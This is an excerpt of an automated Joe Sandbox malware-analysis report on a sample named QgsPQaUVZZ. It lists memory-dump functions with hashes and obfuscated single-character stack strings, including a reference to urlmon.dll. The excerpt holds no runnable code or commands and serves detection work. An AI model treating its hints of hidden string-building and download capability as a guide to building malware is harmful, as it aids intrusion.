Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4ead1439963b26653c200fde1fbbf3326f591bd6fe7ccce56ac6fc5d71bfee7
Instruction ID: 7ea2d9135f635e76afdac320e5ae155413df17e9e7eed826a235f2ed71f649e7
Opcode Fuzzy Hash: a4ead1439963b26653c200fde1fbbf3326f591bd6fe7ccce56ac6fc5d71bfee7
Instruction Fuzzy Hash: 20118B71A11308ABD710EF98CC45FABB7BCEF85700F008449F958AB280EBB469008BA5

Function 032AC31D Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d263296194ea66e8b285206aa2b8338edbb84c7ecd7ca9d5e04ddeda97dd383
Instruction ID: aee26cb0cb1a07d2b783308711d2d4514db9bfe5ef2556796500154450233a8b
Opcode Fuzzy Hash: 0d263296194ea66e8b285206aa2b8338edbb84c7ecd7ca9d5e04ddeda97dd383
Instruction Fuzzy Hash: 03111FB6D1121DAF9B00DFE9D8419EEBBF9EF48210F44416EE919E7200E7715A45CFA0

Function 032ABC2D Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1553dcc836d6b5b6f52024b31dbcf6ede1c7e40f4e2acf4cebb3db9a066c90c7
Instruction ID: bd89d9f64c3860fe86155f87bcc1c4458669e4f14a14d9a43e8c03368a6f786b
Opcode Fuzzy Hash: 1553dcc836d6b5b6f52024b31dbcf6ede1c7e40f4e2acf4cebb3db9a066c90c7
Instruction Fuzzy Hash: 33112EB6D0121DAFCB00DFE9D8409EEBBF9EF48210F04856AE919E7200E7705A05CFA0

Function 032A732D Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b102afb01621cc456993e35c4ce6370d621186d1b5057480e1b15426d5c9d931
Instruction ID: f407c4043c109df6252e1c9d7ca89082cb616ffeebf99a8ea5332f7210a607ea
Opcode Fuzzy Hash: b102afb01621cc456993e35c4ce6370d621186d1b5057480e1b15426d5c9d931
Instruction Fuzzy Hash: 9E0184BAA112186BD710EA68DC45DEB73ACDF44350F000295FD14DB240FAB16E9146E1

Function 0328962F Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad61454f26f710b98c70f2373d2f3a785879b8bb0f8c4ae34d5faf1397164a9d
Instruction ID: ea98fa3ca8de0d7f382aa0e4b456d740ee3db734618ac75e8d1a2e28f90a7936
Opcode Fuzzy Hash: ad61454f26f710b98c70f2373d2f3a785879b8bb0f8c4ae34d5faf1397164a9d
Instruction Fuzzy Hash: 3711CCB1C21229AFCB40DFADD4845ADBBF8FB08620F10865BE828E7250D7B146418FD4

Function 032AF33D Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba0705d331adb0827d90e0a0c05e4e99946108ce1be150fedcd619b1613f899a
Instruction ID: cedc95585d2f5890c8faa6335d385835a1b4c196d4f96c96e604494e9c3efce9
Opcode Fuzzy Hash: ba0705d331adb0827d90e0a0c05e4e99946108ce1be150fedcd619b1613f899a
Instruction Fuzzy Hash: 1601C4B6215208BBCB04DF99DC90EDB77ADEF8C750F108108BA09D7240D630F8518BA4

Function 032AAF4D Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00039c460a889a1c209375e7bfe74743cb5e1b734dd4f34d8e6031bc76dea592
Instruction ID: e85c3521bdfc99c3d9abb3a2da6131f971a255a423ccf88d917b6cc9e74b81bb
Opcode Fuzzy Hash: 00039c460a889a1c209375e7bfe74743cb5e1b734dd4f34d8e6031bc76dea592
Instruction Fuzzy Hash: 6801E9B6C1121DAFCB40EFE8D9409EEBBF8AF08200F14466AD515F7240EB705A448FE1

Function 0328978D Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 450465c6c8ffecbd3fcb10e06cfd2fa46be195385f99e2e2cb8261e7538640c7
Instruction ID: 2d1e806cb8b340b6200be48f298794754cb74153b893559e2534a6849d85506f
Opcode Fuzzy Hash: 450465c6c8ffecbd3fcb10e06cfd2fa46be195385f99e2e2cb8261e7538640c7
Instruction Fuzzy Hash: A5F0A7B76212166BE710AF6DEC40B96F7DCEB84234F240222F91C8B281E771E4D182A0

Function 0329DD84 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75cd10afc6497bc7a15310c65ed230a475c283ab31228889cdcd35a57f93b811
Instruction ID: a468baf5e4d5d081d649cc7f313f47011bb38daf809eebcb40f767582853cff5
Opcode Fuzzy Hash: 75cd10afc6497bc7a15310c65ed230a475c283ab31228889cdcd35a57f93b811
Instruction Fuzzy Hash: 2AF028B68152846FDB11EBA4CC84EEBBF74EF86310F0441CAD4086F251D371A9DAC765

Function 032AE61D Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17a7bc8f7d8520c4bffdc9816d876c5e0740f6373924b595003b5f186f1b3574
Instruction ID: b2930ca070d272de6d6e2719393a910640b8f48004b41103037b6cd7a6e9ce5c
Opcode Fuzzy Hash: 17a7bc8f7d8520c4bffdc9816d876c5e0740f6373924b595003b5f186f1b3574
Instruction Fuzzy Hash: 84F01C79210209BBDB10EF89DC81E9B77ACEF89B50F004019BE189B241D7B0B9518BF4

Function 032AF27D Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac00b1638777126d2cea74cea7df9c0d5320b23dccd002bc6f264aef07eeb62c
Instruction ID: a59cc1fe2247042b78eb441be2cc8da3d8957895aeae1d4b7ee8b690ac33b131
Opcode Fuzzy Hash: ac00b1638777126d2cea74cea7df9c0d5320b23dccd002bc6f264aef07eeb62c
Instruction Fuzzy Hash: E4E09A762203087BC614EF99DC44F9B33ACEFC9B50F004408FA08AB241CA71B9108BB8

Function 0329DCED Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bda29215af404e63ea5841a5bf47159a533bd7fbcf7b6c61d1dc4e162ad7e555
Instruction ID: a957e6199b2b78366a7d5a030d30a65633d4fbf328e694438796ebf8cbf90c4b
Opcode Fuzzy Hash: bda29215af404e63ea5841a5bf47159a533bd7fbcf7b6c61d1dc4e162ad7e555
Instruction Fuzzy Hash: 6CF08271815209EBDF14DF68D841BDDBBB8EB44320F2083AAE8249B280E63497959B91

Function 032B10BD Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a49911327731111d187c10d9df807f6481cb23bdff532a9ce64d2e3ccaf779b
Instruction ID: 182921241a5074c10712d7a22b53e736a4b7c1a7201ffcea6df139dc77213cc5
Opcode Fuzzy Hash: 0a49911327731111d187c10d9df807f6481cb23bdff532a9ce64d2e3ccaf779b
Instruction Fuzzy Hash: 87E02636A1031033C220958A8C02F97B36CCFC1FE0F080024FE089B300E5A0F85142E4

Function 03289781 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09f1a4847c3e67702ed7611e5a1ae6c408c253c5b353684f3ac645f25f5b2863
Instruction ID: bd9fa889563970eaeb7e4a4779bdb7f64d3577f9c43d82031612edf787becc0e
Opcode Fuzzy Hash: 09f1a4847c3e67702ed7611e5a1ae6c408c253c5b353684f3ac645f25f5b2863
Instruction Fuzzy Hash: 4EE020B34111125FD7209F5D5C44897F7ACEEC52313150336E42D9B1D0C73148D1C2D0

Function 032AEF6D Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f59229fe5a35477addfa38c4a351323b046b53500d51ab444dffaebc889c80f
Instruction ID: c6150e9f17bcda49fbb42182e4a3eba0ff94bbd442c134187c8d792b48de4e6e
Opcode Fuzzy Hash: 2f59229fe5a35477addfa38c4a351323b046b53500d51ab444dffaebc889c80f
Instruction Fuzzy Hash: F0E04F36210704BBD110FA59DC00E97776CEBC6B50F004015FA086B241C670B91486B0

Non-executed Functions

Function 032A850D Relevance: 34.0, Strings: 27, Instructions: 265COMMON

Download Yara Rule

Strings

T, xrefs: 032A85F8
%, xrefs: 032A86F3
$, xrefs: 032A8569
E, xrefs: 032A85CE
}, xrefs: 032A8573
H, xrefs: 032A85DC
u, xrefs: 032A8587
m, xrefs: 032A85C0
F, xrefs: 032A85EA
Q, xrefs: 032A85E3
J, xrefs: 032A8629
s, xrefs: 032A859B
v, xrefs: 032A8541
>, xrefs: 032A854B
urlmon.dll, xrefs: 032A874F, 032A8752
B, xrefs: 032A8622
5, xrefs: 032A85B9
$, xrefs: 032A85A5
w, xrefs: 032A85C7
., xrefs: 032A87A5
F, xrefs: 032A85D5
g, xrefs: 032A857D
h, xrefs: 032A8537
i, xrefs: 032A87AC
), xrefs: 032A85AF
}, xrefs: 032A8591
), xrefs: 032A8555

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: $$$$%$)$)$.$5$>$B$E$F$F$H$J$Q$T$g$h$i$m$s$u$urlmon.dll$v$w$}$}
API String ID: 0-1002149817
Opcode ID: 4d06f275a8043cd661dc09b1a28e8be5988d937cb3f8b290f1dde54db9b9bf86
Instruction ID: 75e3689fb47875953f3d732f78b6b609b12e77711b684e57c239b0862eb72889
Opcode Fuzzy Hash: 4d06f275a8043cd661dc09b1a28e8be5988d937cb3f8b290f1dde54db9b9bf86
Instruction Fuzzy Hash: 68C10CB1D11368AEDF60DFA4DC44BEEBBB8AF05304F0081D9D548AB241E7B55A88CF61

Function 03290008 Relevance: 31.4, Strings: 25, Instructions: 136COMMON

Download Yara Rule

Strings

GP, xrefs: 032903B1
_, xrefs: 032903F7
}, xrefs: 03290196
x, xrefs: 03290182
Qt, xrefs: 0329016E
2, xrefs: 03290371
19, xrefs: 03290303
c6, xrefs: 03290396
PP, xrefs: 03290201
f, xrefs: 0329013A
%y, xrefs: 0329027C
,, xrefs: 0329002B
o, xrefs: 032902A4
`J, xrefs: 03290047
#, xrefs: 03290108
,, xrefs: 032900D0
E, xrefs: 03290126
>, xrefs: 032902C0
v>, xrefs: 032903BB
#, xrefs: 032901B4
V, xrefs: 03290226
m, xrefs: 03290275
D, xrefs: 032902B9
>, xrefs: 032903CF
B, xrefs: 032901D9

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: #$ B$#$%y$19$2$>$D$E$GP$PP$Qt$V$`J$c6$f$m$o$v>$x$}$,$,$>$_
API String ID: 0-2425783366
Opcode ID: 3846aab136fe5e44fa8880c5cb16dec31630ea928165ea7d73458811fd24ca97
Instruction ID: fe37b45b79127c1259d591016f2c5c815103239aaf6f4a0a76e289be46881d4d
Opcode Fuzzy Hash: 3846aab136fe5e44fa8880c5cb16dec31630ea928165ea7d73458811fd24ca97
Instruction Fuzzy Hash: AEA146B0D05669CBFB61CF91C9587DEBAB1BB45308F1081D9C15C3B281C7BA1A89CF95

Function 0328FFF8 Relevance: 30.1, Strings: 24, Instructions: 143COMMON

Download Yara Rule

Strings

GP, xrefs: 032903B1
f, xrefs: 0329013A
_, xrefs: 032903F7
%y, xrefs: 0329027C
}, xrefs: 03290196
o, xrefs: 032902A4
x, xrefs: 03290182
`J, xrefs: 03290047
#, xrefs: 03290108
,, xrefs: 032900D0
E, xrefs: 03290126
Qt, xrefs: 0329016E
>, xrefs: 032902C0
2, xrefs: 03290371
v>, xrefs: 032903BB
#, xrefs: 032901B4
19, xrefs: 03290303
c6, xrefs: 03290396
V, xrefs: 03290226
PP, xrefs: 03290201
m, xrefs: 03290275
D, xrefs: 032902B9
>, xrefs: 032903CF
B, xrefs: 032901D9

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: #$ B$#$%y$19$2$>$D$E$GP$PP$Qt$V$`J$c6$f$m$o$v>$x$}$,$>$_
API String ID: 0-2812303210
Opcode ID: 4a721c1ab15d0a68524d0d05f767f4d60e3b92ebd85ac70c3221c9ce4c507c96
Instruction ID: ccea970ebba87f05b0b9253817e86fcada2f7ea7ef2ca1b768907e0afa3ebdbe
Opcode Fuzzy Hash: 4a721c1ab15d0a68524d0d05f767f4d60e3b92ebd85ac70c3221c9ce4c507c96
Instruction Fuzzy Hash: 4BA166B0D05669CBFB61CF41C9587DEBBB1BB45308F1081D9C14C2B291C7BA1A99CF81

Function 032A53ED Relevance: 25.2, Strings: 20, Instructions: 250COMMON

Download Yara Rule

Strings

r, xrefs: 032A54F0
e, xrefs: 032A548E
r, xrefs: 032A54B1
, xrefs: 032A5495
t, xrefs: 032A54E9
o, xrefs: 032A54D4
l, xrefs: 032A54A3
g, xrefs: 032A54F7
l, xrefs: 032A54C6
i, xrefs: 032A54CD
t, xrefs: 032A547D
t, xrefs: 032A54BF
2, xrefs: 032A54FE
r, xrefs: 032A54AA
\, xrefs: 032A54E2
I, xrefs: 032A54B8
x, xrefs: 032A549C
m, xrefs: 032A54DB
r, xrefs: 032A5487
I, xrefs: 032A5473

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: $2$I$I$\$e$g$i$l$l$m$o$r$r$r$r$t$t$t$x
API String ID: 0-3236418099
Opcode ID: 8c14553d003def870d8b3115b1051a81ede8f00aa02786557092410ae1ed0fc0
Instruction ID: bfe94996f2b40f9aee3a867987d67be41b4b18e54717133ea57f225d4a78cc72
Opcode Fuzzy Hash: 8c14553d003def870d8b3115b1051a81ede8f00aa02786557092410ae1ed0fc0
Instruction Fuzzy Hash: 68915FB5D10318ABEB20DFA58C44FEEB7BDEF45304F004199E548AA140E7B65B99CFA1

Function 032A0B9D Relevance: 16.4, Strings: 13, Instructions: 194COMMON

Download Yara Rule

Strings

m, xrefs: 032A0C3D
x, xrefs: 032A0BD8
s, xrefs: 032A0C52
o, xrefs: 032A0C2F
e, xrefs: 032A0C05
i, xrefs: 032A0BFE
F, xrefs: 032A0C44
r, xrefs: 032A0C36
., xrefs: 032A0BCE
P, xrefs: 032A0C28
, xrefs: 032A0BF7
o, xrefs: 032A0C0C
l, xrefs: 032A0C4B

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: $.$F$P$e$i$l$m$o$o$r$s$x
API String ID: 0-392141074
Opcode ID: 080871b2f831aeba83b25e39561e0cc75b6ac08220c0dbab3a8b1a0380a8890f
Instruction ID: 04a5b639a86cc2e12f98c04790b8eca043626d61abc5b019e00d1b7aaa84b3a7
Opcode Fuzzy Hash: 080871b2f831aeba83b25e39561e0cc75b6ac08220c0dbab3a8b1a0380a8890f
Instruction Fuzzy Hash: 6F711CB581031CAADB15DB94CC41FEFB7BCBF08700F04859DE519AA140EBB56B988FA1

Function 032A0B93 Relevance: 16.4, Strings: 13, Instructions: 181COMMON

Download Yara Rule

Strings

m, xrefs: 032A0C3D
x, xrefs: 032A0BD8
s, xrefs: 032A0C52
o, xrefs: 032A0C2F
e, xrefs: 032A0C05
i, xrefs: 032A0BFE
F, xrefs: 032A0C44
r, xrefs: 032A0C36
., xrefs: 032A0BCE
P, xrefs: 032A0C28
, xrefs: 032A0BF7
o, xrefs: 032A0C0C
l, xrefs: 032A0C4B

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: $.$F$P$e$i$l$m$o$o$r$s$x
API String ID: 0-392141074
Opcode ID: 2d4c76c84092abe7bd97bac7b333bd4c3e69f1e84a1674ff772b68cb33053c76
Instruction ID: 4ae164e65aa5f0820abe2cf1f3e2073a5512ce45f4c1194186dadea970dc6c77
Opcode Fuzzy Hash: 2d4c76c84092abe7bd97bac7b333bd4c3e69f1e84a1674ff772b68cb33053c76
Instruction Fuzzy Hash: C1611CB581031CAADB15DBA4CC91FEEB7B8BF08700F04859DE519AA140EBB16798CF61

Function 0329485D Relevance: 13.8, Strings: 11, Instructions: 84COMMON

Download Yara Rule

Strings

e, xrefs: 032948B4
D, xrefs: 032948E3
e, xrefs: 032948AD
i, xrefs: 032948F8
r, xrefs: 032948A6
w, xrefs: 032948EA
\, xrefs: 0329488A
x, xrefs: 03294891
l, xrefs: 03294898
r, xrefs: 0329489F
n, xrefs: 032948F1

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: D$\$e$e$i$l$n$r$r$w$x
API String ID: 0-685823316
Opcode ID: efdb2932279a4e7666e4cd16d349977829ecdc8b7c9dfd090e6e93982b408e04
Instruction ID: a70cc54deb2545b13a25c2b3d0911bdf13949d4db44edcc096ce56ec1b0cffa5
Opcode Fuzzy Hash: efdb2932279a4e7666e4cd16d349977829ecdc8b7c9dfd090e6e93982b408e04
Instruction Fuzzy Hash: E72153B5D51318AEEF50DFD4CC45FEEB7B9AF08704F00415DEA18BA180DBB556488BA4

Function 03294854 Relevance: 13.8, Strings: 11, Instructions: 83COMMON

Download Yara Rule

Strings

e, xrefs: 032948B4
D, xrefs: 032948E3
e, xrefs: 032948AD
i, xrefs: 032948F8
r, xrefs: 032948A6
w, xrefs: 032948EA
\, xrefs: 0329488A
x, xrefs: 03294891
l, xrefs: 03294898
r, xrefs: 0329489F
n, xrefs: 032948F1

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: D$\$e$e$i$l$n$r$r$w$x
API String ID: 0-685823316
Opcode ID: f6cb9ba58ea4e0baf7341fbc0a53f6b541174a4560d8802c21c228fe8381446c
Instruction ID: c24d029d9bc01a795b028dee4f648a05b49b210fd19c24be11381a937cd4b8c5
Opcode Fuzzy Hash: f6cb9ba58ea4e0baf7341fbc0a53f6b541174a4560d8802c21c228fe8381446c
Instruction Fuzzy Hash: 98217EB5D11318AAEF50DFE4CC84FEEBBB9AF08704F00815DE614BA180DBB556488FA5

Function 032A58AD Relevance: 12.8, Strings: 10, Instructions: 342COMMON

Download Yara Rule

Strings

:, xrefs: 032A5956
s, xrefs: 032A5936
I, xrefs: 032A5908
P, xrefs: 032A592F
A, xrefs: 032A591A
:, xrefs: 032A590F
m, xrefs: 032A594F
N, xrefs: 032A5948
t, xrefs: 032A5921
:, xrefs: 032A593D

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: :$:$:$A$I$N$P$m$s$t
API String ID: 0-2304485323
Opcode ID: e4242b47043dfee8e05b7bc4a5bd33e7204d361649abef240db5b88d44bace4e
Instruction ID: e24b8ff93f1987ee8d2c94c216bffbcc828c1b6b98f31b99f7370454dfda67a5
Opcode Fuzzy Hash: e4242b47043dfee8e05b7bc4a5bd33e7204d361649abef240db5b88d44bace4e
Instruction Fuzzy Hash: BFD1F4B5950709ABDB10DFA4CC94BEEB3F8BF48310F04451DE559EA240E7B8B994CBA4

Function 0329BCD9 Relevance: 10.1, Strings: 8, Instructions: 131COMMON

Download Yara Rule

Strings

o, xrefs: 0329BDD0
e, xrefs: 0329BDF2
x, xrefs: 0329BD16
., xrefs: 0329BD0F
i, xrefs: 0329BDEB
P, xrefs: 0329BDC6
r, xrefs: 0329BDDA
m, xrefs: 0329BDE4

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: .$P$e$i$m$o$r$x
API String ID: 0-620024284
Opcode ID: 44d4370a7813810a2989e90fecec71072ca4293b906850e3e696890c29b06c1c
Instruction ID: 30e1d4e24c3a1be930693438b463e7b25e47359bd0ae63fa369be023d16acc43
Opcode Fuzzy Hash: 44d4370a7813810a2989e90fecec71072ca4293b906850e3e696890c29b06c1c
Instruction Fuzzy Hash: 874173B5820318B6EB21EBA4DC44FDE7378AF54300F0085D9A909AB140EBF567D88FA1

Function 0329BCDD Relevance: 10.1, Strings: 8, Instructions: 131COMMON

Download Yara Rule

Strings

o, xrefs: 0329BDD0
e, xrefs: 0329BDF2
x, xrefs: 0329BD16
., xrefs: 0329BD0F
i, xrefs: 0329BDEB
P, xrefs: 0329BDC6
r, xrefs: 0329BDDA
m, xrefs: 0329BDE4

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: .$P$e$i$m$o$r$x
API String ID: 0-620024284
Opcode ID: 346295471a0064e930f66dbfa34e71a86530000c5c3d5ae3b2fe51e01e387991
Instruction ID: f83d80c3247cbea2a8b8d470f6bc5a9aac2b6fed6ac036ea9fe9ab8d632bd5e2
Opcode Fuzzy Hash: 346295471a0064e930f66dbfa34e71a86530000c5c3d5ae3b2fe51e01e387991
Instruction Fuzzy Hash: 804163B5820318B6DB21EBA4DC44FDE737CAF54340F0085D9A949AB140EBF567D88FA1

Function 032893DA Relevance: 10.1, Strings: 8, Instructions: 57COMMON

Download Yara Rule

Strings

uZPF, xrefs: 03289416
X]_Q, xrefs: 0328948D
4, xrefs: 032894FD
XQcQ, xrefs: 03289463
gURU, xrefs: 032894D3
w\F[, xrefs: 032894A2
y[N], xrefs: 032893E7
vA]X, xrefs: 03289439

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: 4$XQcQ$X]_Q$gURU$uZPF$vA]X$w\F[$y[N]
API String ID: 0-2821098887
Opcode ID: 7f432af6460a2995abb8cca98f81b90d649f76a292b951e04b714884795a36f0
Instruction ID: 201fc8417f8cb40da67cab368c9820b27efe2bdf10c6505b68575103f27efa7c
Opcode Fuzzy Hash: 7f432af6460a2995abb8cca98f81b90d649f76a292b951e04b714884795a36f0
Instruction Fuzzy Hash: 7131DEB0C0129CAADB15CFA5DA886DDFFB0FB04748F618658C42A7F250D7318A86CF16

Function 032893DD Relevance: 10.1, Strings: 8, Instructions: 57COMMON

Download Yara Rule

Strings

uZPF, xrefs: 03289416
X]_Q, xrefs: 0328948D
4, xrefs: 032894FD
XQcQ, xrefs: 03289463
gURU, xrefs: 032894D3
w\F[, xrefs: 032894A2
y[N], xrefs: 032893E7
vA]X, xrefs: 03289439

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: 4$XQcQ$X]_Q$gURU$uZPF$vA]X$w\F[$y[N]
API String ID: 0-2821098887
Opcode ID: 2024f1f57dc2ad3334fb54a12f8f9ae3f92fa3b3aaef93348c1040c5c399c2d3
Instruction ID: 5b1f96a5273df57516c78a8f3b5b599c5479df8fdfb7633cd84256f78d1b64f1
Opcode Fuzzy Hash: 2024f1f57dc2ad3334fb54a12f8f9ae3f92fa3b3aaef93348c1040c5c399c2d3
Instruction Fuzzy Hash: E331EFB0C0129CAACB15CFA5DA886DDFFB0BB04748F618658C42A7F250D7318A86CF56

Function 0328CE8D Relevance: 10.0, Strings: 8, Instructions: 43COMMON

Download Yara Rule

Strings

], xrefs: 0328CEA3
{, xrefs: 0328CEC7
9, xrefs: 0328CE93
., xrefs: 0328CED7
E, xrefs: 0328CEAB
k, xrefs: 0328CE97
\, xrefs: 0328CEAF
v, xrefs: 0328CEDB

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

